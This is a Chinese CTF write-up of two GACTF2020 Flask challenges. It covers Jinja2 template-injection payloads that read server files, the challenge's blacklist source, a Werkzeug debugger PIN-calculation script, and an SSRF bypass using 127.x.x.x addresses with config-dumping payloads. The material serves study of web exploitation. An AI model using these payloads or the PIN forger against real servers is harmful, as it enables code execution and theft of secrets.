GACTF2020 simpleflask& EZFLASK

比较菜的复现,记录一下,

simpleflask

信息收集

直接访问,提示方法不允许
GACTF2020 simpleflask& EZFLASK_第1张图片
使用burpsuite,右键-change request method
GACTF2020 simpleflask& EZFLASK_第2张图片
提示了个name,猜测是参数GACTF2020 simpleflask& EZFLASK_第3张图片
因为题目是flask,容易想到ssti,直接试name={{2*2}}
GACTF2020 simpleflask& EZFLASK_第4张图片
再试,因为可能是有过滤、waf之类的name={{2-2}},可以看到2-2有了结果
GACTF2020 simpleflask& EZFLASK_第5张图片
可以确定是存在ssti的,接下来就是具体的bypass和get flag了

bypass&利用

用burp进行一次fuzz,还做不到颅内ctf,以下是一个简单的fuzz字符list

[
]
(
\
)
{
}
_
__
.
g
''
""
request
g
namespace
__dict__
__class__
__mro__
__bases__
__subclasses__
__init__
__globals__
self
config
url_for
get_flashed_messages
lipsum
current_app
range
session
dict
get_flashed_messages
cycler
joiner
__builtins__
__import__
eval
keys
index
values
popen
read
_TemplateReference__context
environ
application
_get_data_for_json
JSONEncoder
default
system
flag
*
?
import
_IterationGuard
catch_warnings
_ModuleLock
flag
chr
subprocess
commands
socket
hex
base64
cat
read

fuzz结果,虽然这些也500了,但是看到返回长度很长,所以应该有报错信息
GACTF2020 simpleflask& EZFLASK_第6张图片
GACTF2020 simpleflask& EZFLASK_第7张图片

GACTF2020 simpleflask& EZFLASK_第8张图片
首先由上图确定了python3,所以python2的那些特殊技巧全部拜拜
主要过滤了import、popen、system、eval、flag、os、单引号
payload


name={{"".__class__.__bases__[0].__subclasses__()[102].__init__.__globals__["open"]("/home/ctf/app.py").read().upper()}}

源码

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
              "mro", "compile", "execfile", "exec",
              "subprocess", "importlib", "platform", "timeit",
              "import", "linecache", "module", "getattribute",
              "pop", "getitem", "decode", "popen",
              "ifconfig", "flag", "config"]


def check(s):
    # print(len(s))
    if len(s) > 131:
        abort(500, "hacker")
        # abort(500, "hacker len")
    for i in s:
        if i not in white_list:
            abort(500, "hacker")
            # abort(500, "hacker white")
    for i in black_list:
        if i in s:
            abort(500, "hacker")
            # abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
    try:
        name = request.form["name"]
    except exception:
        return render_template_string("

request.form[\"name\"]

") if name == "": return render_template_string("

hello world!

") check(name) template = '

hello {}!

'.format(name) res = render_template_string(template) if "flag" in res: abort(500, "hacker") return res if __name__ == '__main__': app.run(host="0.0.0.0", debug=true)

先贴大佬们wp姿势,记不清官方wp还是V&N战队大佬的了
之后依次读取文件:
从/etc/passwd读取用户名
根据本地调试猜测modname=flask.app
getattr(app, ‘name__’, getattr(app.class.__name))=Flask
以上在pycharm调试是会变化,其他时候默认为以上两个
getattr(mod, ‘file’, None) = 路径为报错显示的路径
读/sys/class/net/eth0/address得到mac地址
以上跟以前没变
优先读/etc/machine-id,如果发现读不到,再读/proc/sys/kernel/random/boot_id
根据github上关于新版本pin的文档得知
新的machine-id要加上cgroup
于是读取/proc/self/cgroup并提取里面的id
拼接好作为新的machine-id放入calcuPin.py里生成对应的pin码
执行rce拿到flag
exp


import hashlib
from itertools import chain
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/dist-packages/flask/app.py',
]

private_bits = [
    '2485378088962',
    'a8eb6cac33e701ae867269db5ce80e7f52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

另一种方式是利用python字符串的lower()方法绕开对flag的限制
payload

{{"".__class__.__bases__[0].__subclasses__()[102].__init__.__globals__["open"]("/FLAG".lower()).read()}}
hello GACTF{fac9165b6a2b5ac8bd3b99fad0619366}

GACTF2020 simpleflask& EZFLASK_第9张图片

EZFLASK

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

提到了ctf函数里有hint,读下,注意改成post方法,本文在前面提过怎么改。
看到Y1ng师父的博客提到了TJCTF 2018时,有个沙箱逃逸题是利用了co_consts来读常量得到waf规则
所以有payload,注意上面的请求header在get方式下是形如eval?eval=ctf.func_code.co_consts,然后转post

eval=ctf.func_code.co_consts

GACTF2020 simpleflask& EZFLASK_第10张图片
得到如下信息

(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf', 'too young too simple')

这里获取了admin的路径&端口的提示:5000
请求admin路径
得到post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path
这里还是看了y1ng师父说的,127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。
然后看看admin下的内部类型的代码对象,可参考python文档,虽然是3的,但是暂时问题不大

co_name 给出了函数名;
co_argcount 为位置参数的总数量 (包括仅限位置参数和带有默认值的参数);
co_posonlyargcount 为仅限位置参数的数量 (包括带有默认值的参数);
co_kwonlyargcount 为仅限关键字参数的数量 (包括带有默认值的参数);
co_nlocals 为函数使用的局部变量的数量 (包括参数);
co_varnames 为一个包含局部变量名称的元组 (参数名排在最前面);
co_cellvars 为一个包含被嵌套函数所引用的局部变量名称的元组;
co_freevars 为一个包含自由变量名称的元组;
co_code 为一个表示字节码指令序列的字符口中;
co_consts 为一个包含字节码所使用的字面值的元组;
co_names 为一个包含字节码所使用的名称的元组;
co_filename 为被编码代码所在的文件名;
co_firstlineno 为函数首行的行号; co_lnotab 为一个字符串,其中编码了从字节码偏移量到行号的映射 (详情参见解释器的源代码);
co_stacksize 为要求的栈大小; co_flags 为一个整数,其中编码了解释器所用的多个旗标

主要利用的payload

eval=admin.func_code.co_consts
eval=admin.func_code.co_names

获取到的信息

(None, 'ip', 'port', 'path', 'post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path', 4, 'hacker?', 'http://{}:{}/{}', 'timeout', 2, 'requests error')
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')

一种方式是用vps,然后重定向,如这篇文章

<?php
header("Location: http://127.0.0.1:5000/{{config.items()}}");
?>

另一种绕的方式payload

ip=127.0.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000
ip=127.0.1.1&path={{get_flashed_messages.__globals__['current_app'].__dict__}}&port=5000

GACTF2020 simpleflask& EZFLASK_第11张图片

你可能感兴趣的:(ctf-writeup,python,flask,安全漏洞)